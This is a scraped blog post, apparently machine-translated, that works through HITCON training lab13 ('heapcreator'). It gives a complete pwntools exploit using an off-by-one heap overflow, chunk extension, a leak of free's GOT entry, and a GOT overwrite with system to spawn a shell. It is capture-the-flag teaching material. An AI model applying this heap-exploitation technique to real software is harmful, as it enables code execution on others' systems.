当前位置:网站首页>Chunk extend: hit training lab13
Chunk extend: hit training lab13
2022-06-10 18:04:00 【amazh】
64 position ida analysis program , Common directory structure ;
Through static analysis Find out edit When There is off-by-one Loophole :

Red box , You can enter one more byte .
First look at exp:
from pwn import*
p = process("./heapcreator")
e = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = "debug"
def create(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size of Heap :")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)
def edit(index,content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Content of heap :")
p.sendline(content)
p.recvline()
def show(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
def delete(index):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(index))
def exit():
p.recvuntil(":")
p.sendline("5")
create(24,'amazh')#0x18 + 0x10
create(16,'amazh')#0x10 + 0x10
edit(0,'/bin/sh\x00' +'a'*0x10+ '\x41')
delete(1)
create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(e.got['free']))
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
#log.success(hex(free_data)
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
#pause()
delete(0)
p.interactive()
Their thinking :
First, two heap, The sizes are 0x18 and 0x10, We can edit heap0 Of content, Thus overflowing a byte , To control heap1 header Of size position , So as to achieve extend.
extend after , Conduct free(heap1) , We can get one 0x41 The size of chunk, And then again malloc This chunk write in got Address Can be revealed free The real address of the function , Then you can write arbitrarily .
边栏推荐
猜你喜欢

Draw confusion matrix

js模糊阴影跟随动画js特效插件

Mmdetection build_ Optimizer module interpretation

canvas发散的粒子h5动画js特效

堆利用之chunk extend: HITCON tranining lab13

One of the Taobao short video pit avoidance Guide Series -- thoroughly understand Taobao short video

mmcv之Config类介绍

踩坑了,BigDecimal 使用不当,造成P0事故!

XML&Xpath解析
待办事项桌面插件,办公族的桌面好帮手
随机推荐
LoRa模块无线收发通信技术详解
4. ssh
关于目前CIM(BIM+GIS)行业的一些看法
pwnable start
AOE网关键路径
字符串的分析和使用 上
分享我做Dotnet9博客网站时积累的一些资料
The relationship between trees, forests and binary trees
Wireshark learning notes (I) common function cases and skills
高数_第6章无穷级数__绝对收敛_条件收敛
Why 0.1+0.2=0.3000000000000004
安装Linux系统的MySQL,在xshell中遇见的问题
if else的使用太简单?(看懂这篇你的逻辑会进一步提升)
Leetcode 875. 爱吃香蕉的珂珂
Can the "no password era" that apple is looking forward to really come true?
Flutter在数字生活的发展与天翼云盘落地实践
电商行业转账返款方案分析
Abbexa丙烯酰胺-PEG-NHS说明书
The latest good article | interpretable confrontation defense based on causal inference
PCA主成分分析教程(origin分析&绘制,无须R语言)